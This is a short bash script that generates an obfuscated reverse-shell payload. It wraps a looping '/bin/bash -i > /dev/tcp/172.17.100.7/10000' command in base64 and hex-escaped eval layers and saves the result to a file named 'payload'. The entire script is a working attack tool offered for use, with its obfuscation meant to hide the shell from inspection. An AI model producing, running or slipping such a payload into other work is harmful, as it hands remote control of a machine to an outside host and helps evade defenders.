#!/bin/bash

#Reverse shell Bash
cmd='while true; do (/bin/bash -i > /dev/tcp/172.17.100.7/10000 0>&1 2>&1) > /dev/null 2>&1; [ "$?" == 1 ] && sleep 20; done'

b64="$(echo -n "$cmd" | base64)"

middle="eval \`echo \"$b64\" | base64 -di\`"

code=$(echo -n "$middle" | hexdump -v -e '"\\\x" 1/1 "%02x"')

hex="eval \`echo -e \"$code\"\`"
echo -e "\n*** Obfuscated Reverse Bash Shell Script for IP: 172.17.100.7 and TCP port: 10000***\n" 
echo "$hex" | tee payload
[ -s payload ] && echo -e "\n*** Script has been stored in file 'payload' ***"